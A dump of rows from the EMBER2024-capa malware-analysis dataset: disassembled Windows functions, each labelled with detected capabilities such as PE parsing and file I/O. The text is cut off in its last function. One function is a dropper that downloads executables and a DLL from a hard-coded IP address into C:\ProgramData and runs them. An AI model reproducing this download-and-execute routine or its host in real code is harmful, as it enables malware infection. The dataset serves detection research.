joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d89e750
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d8bf5e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d89e8d8
mov rax, qword [0x6d8bf5e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d89e79c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d89e825
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d89e780
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d89e90d
mov rax, qword [0x6d8bf5e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d8bf5e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d89e8f0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d89e81e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d89e880
add dword [0x6d8bf5e4], 1
cmp edi, 8
jae 0x6d89e853
test dil, 4
jne 0x6d89e8c4
test edi, edi
je 0x6d89e848
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d89e8df
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d89e848
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d89e86c
jmp 0x6d89e848
add rsi, qword [0x6d8bf5e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d89e81e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d89e848
xor esi, esi
jmp 0x6d89e7a7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d89e848
mov rax, qword [0x6d8bf5e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d89f060
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d8bf8c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d8bf8a0]
test rbx, rbx
je 0x6d89f0b4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d89f0ab
test rsi, rsi
je 0x6d89f0ab
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d89f090
lea rcx, [0x6d8bf8c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d89f2f0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d89f300
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d89f310
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d89f351
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d89f348
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d89f353
add rax, 0x28
cmp rax, r9
jne 0x6d89f334
xor eax, eax
ret

Function at 0x6d89f3f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8bc1f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d89f45d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d89f45d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d89f45d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d89f454
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d89f45f
add rax, 0x28
cmp rax, r9
jne 0x6d89f440
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d89f560
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8bc1f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d89f580
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d89f578
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d89f5dd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d89f5d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d89f5e4
add rax, 0x28
cmp rax, r9
jne 0x6d89f5c0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d89f600
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d8bc1f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d89f66e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d89f66e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d89f66e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d89f66e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d89f665
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d89f675
add rcx, 0x28
cmp rcx, rax
jne 0x6d89f650
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d89f688
jmp 0x6d89f66e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d89f696
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d89f66e
test r9d, r9d
jg 0x6d89f680
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d89fa00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140004754
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000478e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140004793
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400047dc
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140015360]
cmp byte [rcx + rax], 0
je 0x1400047dc
dec r8
sub rdx, 1
jne 0x1400047c2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14000594c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005996
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005996
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005996
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005996
cmp dword [rcx + 0x84], 0xe
jbe 0x140005996
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005998
xor al, al
add rsp, 0x28
ret

Function at 0x14000afb0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000addc

Function at 0x140012ea0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140012ec8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140012ec8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
lea r8, str.C:ProgramDatak360.exe
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, str.http:__108.181.39.25_1_k360.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, str.C:ProgramDatak360.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:ProgramData1.exe
xor ecx, ecx
lea rdx, str.http:__108.181.39.25_1_1.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:ProgramData_atl.dll
xor ecx, ecx
lea rdx, str.http:__108.181.39.25_1_atl.dll
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:ProgramDatawc.dat
xor ecx, ecx
lea rdx, str.http:__108.181.39.25_1_wc.dat
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, str.C:ProgramData1.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x1400019ec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a36
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a36
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a36
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a36
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a36
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a38
xor al, al
add rsp, 0x28
ret

Function at 0x140006034
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005e30
Function at 0x140008a90
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140008b17
mov rsi, rbx
cmp word [rax], bp
je 0x140008ad6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140008ac0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140008abc
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400094b0
mov rdi, rax
test rax, rax
je 0x140008b04
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000e2b0
mov rbp, rdi
xor ecx, ecx
call fcn.140007758
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000dc60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000dc88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000dc88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400113ac
Capabilities:
Terminate process

Disassembly:
jmp 0x140019c30
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011492
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001af80
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001afa0
xor al, al
jmp 0x14001b021
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001afb3
xor al, al
jmp 0x14001b021
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001afdd
xor al, al
jmp 0x14001b021
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001aff1
xor al, al
jmp 0x14001b021
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001b003
xor al, al
jmp 0x14001b021
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001b01f
xor al, al
jmp 0x14001b021
mov al, 1
add rsp, 0x38
ret
Function at 0x1400347e0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x140
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov rax, qword [0x1400af030]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbx, rcx
mov rcx, qword [rcx + 0x20]
call qword [sym.imp.kernel32.dll_ResetEvent]
lea rax, [rbx + 0x2c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rbx
lea r8, [0x1400348f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov qword [rbx + 8], rax
test rax, rax
jne 0x1400348cf
mov qword [rsp + 0x38], rbx
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rsp + 0x30], eax
lea rdx, str.Thread::Start
lea rcx, [rsp + 0x48]
call fcn.140021fa0
nop
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xd0]
call fcn.140023160
nop
lea rdx, str.CreateThreadfailed__error
mov rcx, rax
call fcn.14002a350
mov rcx, rax
lea rdx, [rsp + 0x30]
call fcn.140033960
mov rcx, rax
call fcn.140034f50
mov rcx, rax
call fcn.1400327f0
mov rcx, rax
lea rdx, [rsp + 0x38]
call fcn.140034d90
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140023260
lea rdx, [0x1400ab338]
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rbx
call fcn.140034b60
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140052d40
add rsp, 0x140
pop rbx
ret
Function at 0x140046370
Capabilities:
Identify system language via api

Disassembly:
sub rsp, 0x28
cmp byte [0x1400b0bed], 0
je 0x140046388
mov eax, dword [0x1400b0c20]
add rsp, 0x28
ret
call qword [sym.imp.kernel32.dll_GetUserDefaultLangID]
movzx r8d, ax
mov edx, r8d
and edx, 0x3ff
sub edx, 7
je 0x1400463ee
sub edx, 3
je 0x1400463ca
sub edx, 0xb
je 0x1400463c0
cmp edx, 1
je 0x1400463b6
xor eax, eax
add rsp, 0x28
ret
mov eax, 2
add rsp, 0x28
ret
mov eax, 5
add rsp, 0x28
ret
mov eax, 0xfc00
mov ecx, 0x800
and r8w, ax
mov edx, 1
cmp r8w, cx
mov eax, 3
cmovne eax, edx
add rsp, 0x28
ret
mov eax, 4
add rsp, 0x28
ret

Function at 0x14004a430
Capabilities:
Get common file path

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rsp + 0x390], rbx
mov rax, qword [0x1400af030]
xor rax, rsp
mov qword [rbp + 0x250], rax
mov r10, rdx
mov rsi, rcx
xor ebx, ebx
mov dword [rsp + 0x28], ebx
lea rdi, [rbp + 0x40]
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
mov rcx, r10
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jns 0x14004a4d4
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rcx, [rbp - 0x20]
call fcn.140023080
nop
mov rcx, rax
call fcn.14004a970
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140023260
lea rdx, [0x1400ab338]
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov qword [rsp + 0x78], 7
mov qword [rsp + 0x70], rbx
mov word [rsp + 0x60], bx
mov rdx, qword [rsp + 0x20]
cmp word [rdx], bx
jne 0x14004a4f6
mov r8, rbx
jmp 0x14004a50a
or r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], bx
jne 0x14004a500
lea rcx, [rsp + 0x60]
call fcn.140022090
nop
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
lea rcx, [rbp + 0x40]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rbx
mov word [rsp + 0x30], bx
cmp word [rbp + 0x40], 0
je 0x14004a56a
lea rax, [rbp + 0x40]
or rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14004a560
mov r8, rbx
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.140022090
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.1400233a0
nop
mov r8, qword [rsp + 0x78]
cmp r8, 8
jb 0x14004a5a1
inc r8
mov rdx, qword [rsp + 0x60]
call fcn.1400226a0
mov rax, rsi
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.140052d40
mov rbx, qword [rsp + 0x390]
add rsp, 0x360
pop rdi
pop rsi
pop rbp
ret
Function at 0x14004db70
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x150
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov rax, qword [0x1400af030]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rbx, rcx
call fcn.14004da70
cmp qword [rbx + 0x20], 8
jb 0x14004dba9
mov rcx, qword [rbx + 8]
jmp 0x14004dbad
lea rcx, [rbx + 8]
call qword [sym.imp.kernel32.dll_DeleteFileW]
test eax, eax
jne 0x14004dc4c
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rsp + 0x20], eax
lea rdx, [rbx + 8]
lea rcx, [rsp + 0x38]
call fcn.1400277f0
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400233a0
mov rbx, rax
lea rcx, [rsp + 0xe0]
call fcn.140023080
nop
lea rdx, str.Error_when_deleting_file:
mov rcx, rax
call fcn.14002a350
mov rcx, rax
mov rdx, rbx
call fcn.14003e050
mov rcx, rax
lea rdx, str.Last_error:
call fcn.14002a350
mov rcx, rax
lea rdx, [rsp + 0x20]
call fcn.140033960
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.140023260
lea rdx, [0x1400ab338]
lea rcx, [rsp + 0x80]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140052d40
add rsp, 0x150
pop rbx
ret

Function at 0x14004dc70
Capabilities:
Move file

Disassembly:
push rdi
sub rsp, 0x190
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x1b0], rbx
mov rax, qword [0x1400af030]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov rdi, rdx
mov rbx, rcx
call fcn.14004da70
cmp qword [rdi + 0x18], 8
jb 0x14004dcb3
mov rdx, qword [rdi]
jmp 0x14004dcb6
mov rdx, rdi
cmp qword [rbx + 0x20], 8
jb 0x14004dcc3
mov rcx, qword [rbx + 8]
jmp 0x14004dcc7
lea rcx, [rbx + 8]
call qword [sym.imp.kernel32.dll_MoveFileW]
test eax, eax
jne 0x14004dd92
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rsp + 0x20], eax
mov rdx, rdi
lea rcx, [rsp + 0x38]
call fcn.1400277f0
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.1400233a0
mov rdi, rax
lea rdx, [rbx + 8]
lea rcx, [rsp + 0x58]
call fcn.1400277f0
mov rdx, rax
lea rcx, [rsp + 0x98]
call fcn.1400233a0
mov rbx, rax
lea rcx, [rsp + 0x120]
call fcn.140023080
nop
mov rcx, rax
call fcn.14004e810
mov rcx, rax
mov rdx, rbx
call fcn.14003e050
mov rcx, rax
call fcn.14004e9d0
mov rcx, rax
mov rdx, rdi
call fcn.14003e050
mov rcx, rax
lea rdx, str.Last_error:
call fcn.14002a350
mov rcx, rax
lea rdx, [rsp + 0x20]
call fcn.140033960
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.140023260
lea rdx, [0x1400ab338]
lea rcx, [rsp + 0xc0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.140052d40
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x190
pop rdi
ret
Function at 0x14004df70
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x180
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov rax, qword [0x1400af030]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov esi, r8d
mov rdi, rdx
mov rbx, rcx
mov dword [rsp + 0x38], r8d
mov dword [rsp + 0x30], 0
test rdx, rdx
je 0x14004e099
mov edx, 0xc0000004
mov r9d, 2
call fcn.14004d8a0
mov dword [rsp + 0x34], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
mov r8d, esi
mov rdx, rdi
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x14004e0d4
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rsp + 0x30], eax
lea rdx, [rbx + 8]
lea rcx, [rsp + 0x50]
call fcn.1400277f0
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400233a0
mov rbx, rax
lea rcx, [rsp + 0x110]
call fcn.140023080
nop
mov rcx, rax
call fcn.14004eb90
mov rcx, rax
lea rdx, [rsp + 0x38]
call fcn.14004e490
mov rcx, rax
lea rdx, str._bytes_to_file
call fcn.14002a350
mov rcx, rax
mov rdx, rbx
call fcn.14003e050
mov rcx, rax
lea rdx, str.Last_error:
call fcn.14002a350
mov rcx, rax
lea rdx, [rsp + 0x30]
call fcn.140033960
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.140023260
lea rdx, [0x1400ab338]
lea rcx, [rsp + 0xb0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.Invalid_data_passed
lea rcx, [rsp + 0x50]
call fcn.140021fa0
nop
mov dword [rsp + 0x30], 1
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140035950
lea rdx, [0x1400ab5c8]
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140052d40
add rsp, 0x180
pop rdi
pop rsi
pop rbx
ret
Function at 0x14004e0f0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x170
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x1a8], rbx
mov rax, qword [0x1400af030]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov edi, r8d
mov rsi, rdx
mov rbx, rcx
mov dword [rsp + 0x30], 0
test rdx, rdx
je 0x14004e268
add rcx, 8
call fcn.14004d760
cmp eax, edi
jb 0x14004e22d
mov rax, qword [rbx + 0x28]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14004e15e
mov rcx, rbx
call fcn.14004da70
xor r9d, r9d
mov edx, 0x80000000
mov rcx, rbx
call fcn.14004d8a0
mov dword [rsp + 0x34], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
mov r8d, edi
mov rdx, rsi
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x14004e2a3
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rsp + 0x30], eax
lea rdx, [rbx + 8]
lea rcx, [rsp + 0x48]
call fcn.1400277f0
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.1400233a0
mov rbx, rax
lea rcx, [rsp + 0x100]
call fcn.140023080
nop
lea rdx, str.Error_when_reading_file
mov rcx, rax
call fcn.14002a350
mov rcx, rax
mov rdx, rbx
call fcn.14003e050
mov rcx, rax
lea rdx, str.Last_error:
call fcn.14002a350
mov rcx, rax
lea rdx, [rsp + 0x30]
call fcn.140033960
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.140023260
lea rdx, [0x1400ab338]
lea rcx, [rsp + 0xa0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.Invalid_size_passed
lea rcx, [rsp + 0x48]
call fcn.140021fa0
nop
mov dword [rsp + 0x30], 2
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.140035950
lea rdx, [0x1400ab5c8]
lea rcx, [rsp + 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.Invalid_data_passed
lea rcx, [rsp + 0x48]
call fcn.140021fa0
nop
mov dword [rsp + 0x30], 1
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.140035950
lea rdx, [0x1400ab5c8]
lea rcx, [rsp + 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140052d40
mov rbx, qword [rsp + 0x1a8]
add rsp, 0x170
pop rdi
pop rsi
pop rbp
ret
Function at 0x140051f90
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x58
